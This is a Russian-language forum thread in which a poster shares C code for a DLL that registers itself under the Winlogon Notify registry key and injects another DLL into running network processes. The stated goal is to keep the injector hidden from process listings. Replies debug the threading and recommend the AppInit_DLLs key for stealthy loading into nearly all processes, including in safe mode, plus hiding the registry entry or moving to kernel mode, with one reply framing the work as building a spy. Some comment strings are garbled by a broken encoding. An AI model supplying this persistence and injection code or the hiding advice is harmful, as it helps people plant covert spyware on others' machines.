Добрый день. Пытаюсь запустить dll через winlogon, которая будет инжектить код в сетевые процессы. Код: Код (Text): DWORD WINAPI thread_proc(LPVOID x) { //GetInfo(); //Âíåäðåíèå dll â ñåòåâûå ïðîöåññû InjectingDll("C:\\IncludeDll.dll"); return 0; } extern "C" { __declspec(dllexport) LONG _stdcall Install(HWND hWnd, HINSTANCE hInstance, LPCSTR lpCmdLine, DWORD dummy) {HKEY hKey; char DllName[]="C:\\wlogondll.dll", start[]="Start"; BOOL r = true; int i=0, a=1; if(RegCreateKeyEx (HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\cslsa", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, &hKey, NULL) == ERROR_SUCCESS) { RegSetValueEx (hKey, "DLLName", 0, REG_SZ, (PBYTE)DllName, lstrlen(DllName)+1); RegSetValueEx (hKey, "StartShell", 0, REG_SZ, (PBYTE)start, lstrlen(start)+1); RegSetValueEx (hKey, "StopScreenSaver", 0, REG_SZ, (PBYTE)start, lstrlen(start)+1); RegSetValueEx (hKey, "Impersonate", 0, REG_DWORD, (BYTE *)&i, sizeof(i)); RegSetValueEx (hKey, "Asynchronous", 0, REG_DWORD, (BYTE *)&a, sizeof(a)); } else MessageBox(NULL, "Êëþ÷ íå ñîçäàí", "Îøèáêà", MB_OK); RegCloseKey(hKey); return r; } __declspec(dllexport) LONG _stdcall Start(HWND hWnd, HINSTANCE hInstance, LPCSTR lpCmdLine, DWORD dummy) { DWORD tid; HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)thread_proc, NULL,0,&tid); if (hThread == NULL) { MessageBox(NULL, "Ïîòîê íå ñîçäàí", "Ïîòîê íå ñîçäàí", MB_OK); return 0; } WaitForSingleObject(hThread, INFINITE); CloseHandle (hThread); } } //--------------------------------------------------------------------------- int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved) { if(reason == DLL_PROCESS_ATTACH)//(reason == DLL_THREAD_ATTACH) { DWORD tid; HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)thread_proc, NULL,0,&tid); if (hThread == NULL) { MessageBox(NULL, "Ïîòîê èç DllEntryPoint íå çàïóùåí", "Îøèáêà", MB_OK); return 0; } CloseHandle (hThread); } return 1; } При входе юзера отрабатывает только DllEntryPoint, да и то система не даёт запущенному потоку закончиться, а просто гасит его после некоторого промежутка времени. Функция Start почему-то при запуске оболочки не вызывается. Зато происходит её запуск почему-то при выходе из системы. Вопрос: Посоветуйте каким образом можно организовать загрузку dll при старте системы и систематический вызов её функций (для внедрения в запущенные сетевые процессы)... Если не использовать хуки, на ум приходит только winlogon, но он при текущем коде почему-то не даёт потоку завершиться.
ситуация получается следующая: при входе юзера отрабатывает(создётся трэд и т.д.) DllEntrypoint (но работа этого трэда прерывается системой, не давая ему завершить свою работу)... далее что бы ни происходило (даже те события, обработчиком которой прописана ф-ция Start)... по завершению работы системы отрабатывают обе функции.
>>> HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)thread_proc, NULL,0,&tid); >> CloseHandle (hThread); Уловил мысль ?
Aivengo IMHO опасный вызов WaitForSingleObject в Start, потому что неизвестно что за поток вызывает эту экспортуруемую функцию. Попробуй убрать эту функцию ожидания.
Пробовал - ничего не меняется... Я её уже после прикрутил... думал может дело именно в этом и поэтому система не даёт потоку завершиться.
Я недавно тоже что-то там с DLL мучался, вроде работает, вроде результат возращает, вроде и entrypoint срабатывает, проблема была в ошибке доступа к памяти 0xc0000005 в entry, ОСь такую DLL'ку без предупреждения гасит. Проверь, может у тебя такая-же беда.
Вообще читаем темы по внедрению длл, а так же думаем, как можно подгрузить длл в систему при старте. Это могут быть как грубые методы - драйвер или отдельная прога при старте системы запускается и внедряет во все что нужно длл-ку, либо ключи реестра, отвечающие за подгрузку библиотеки при старте приложения. Нюансы будут только с внедрением в системные процессы. А так все должно работать. Я же при дллаттач делаю так: Код (Text): HANDLE hInitThread; DWORD dwInitThreadId; hInitThread = CreateThread (NULL, NULL, InitProc, NULL, 0, &dwInitThreadId); if (hInitTimerThread) { CloseHandle(hInitThread); hInitThread = NULL; } InitProc - можно поставить например заглушку - ожидание. При установки глобального эвента например, из всех процессов длл автоматом выгружается осовобождая рессурсы. В общем у меня работает все. Ну и конечно если не удастся - кидай бинарник - глянем...
Дело в том, что если длл подгружать в обычном пользовательском сеансе от любого рабочего процесса, то всё работает, как надо... пробовал запускать Start через rundll32 - всё, как надо. Проблема именно в том, что при запуске через winlogon функции не отрабатывают. Хтел сделать инжект именно таким способом чтобы инжектящий процесс не было видно в списке процессов, не используя при этом выходов в r0. куда можно бинарники кинуть?
Шансов мало: 1. Обычный taskmngr ты обойдешь 100% без winlogon. 2. Такие тулзы как Process Explorer умеют перечислять хэндлы и юзают крутые фишки, которые намного проще обойти именно в r0.
Aivengo Чтоб скрыть процесс, надо чтоб его небыло в системе вообще. Процесса нет - и скрывать нечего. (система сама зазгузит все, например пихни длл в App_Inst ключ реестра). Логично? Если ты делаешь крутой шпион и тп, то от процесса прийдеться отказаться полюбому. Юзай другие методы. Конечно лучше всего ринг-0. Если же ты ничего крутого не пишешь, то тогда зачем скрывать? Думаю вначале стоит определиться с целью. Там нет ничего среднего - либо ты выше всех и всех имеешь, либо ниже всех и тебя имеют..
App_Inst будет грузить длл ко всем процессам - не хотелось бы. Всё, что я хотел - это чтобы при перечислении процессов не вылазили запущенные мной... посчитал решением для этого работать через длл, ибо они внутри легальных процессов будут делать то, что мне надо, т.е.: с помощью длл из winlogon с привелегиями SYSTEM будет произведён инжект другой длл в нужные процессы - как итог никаких новых процессов... почти всё чисто... Если я в чём-то неправ - просьба поправить. Считал, что эта задача достаточно легко реализуема для того чтобы лезть в нулевой ринг (сам с ним ещё не работал толком). Если другого выхода нет? - полезу... тогда, если не трудно, подскажите, как это примерно должно выглядеть и куда копать. Всё-таки не совсем понятно пока можно реализовать эту схему через winlogon?
Данный ключ в реестре очень хорошее место: 1. позволяет грузить длл почти (вроде как которые используют user32.dll) во все процессы. 2. работает в safe mode. 3. скрыть наличие записи в данном ключе и получаем хорошую невидимость. Если не хочешь грузится к системным процессам, то сделай проверку в entry от имени чего запущен процесс. Нулевое кольцо не трогай если нет опыта, т.к. там не все так просто и если полезешь то не используй доступ через physicalmemory.
Т.е. я правильно понимаю, вариант с winloon'ом не рабочий? Каковы могут быть причины этого (логичные)? Просто хотелось бы иметь какое-нить понимание почему такая ерунда происходит... или же стоит всё-таки копать в эту сторону?
Все зависит от тебя и твоих умений, сказать точно и прямо нельзя. Попробуй App_Inst и если все будет устраивать то оставь этот вариант.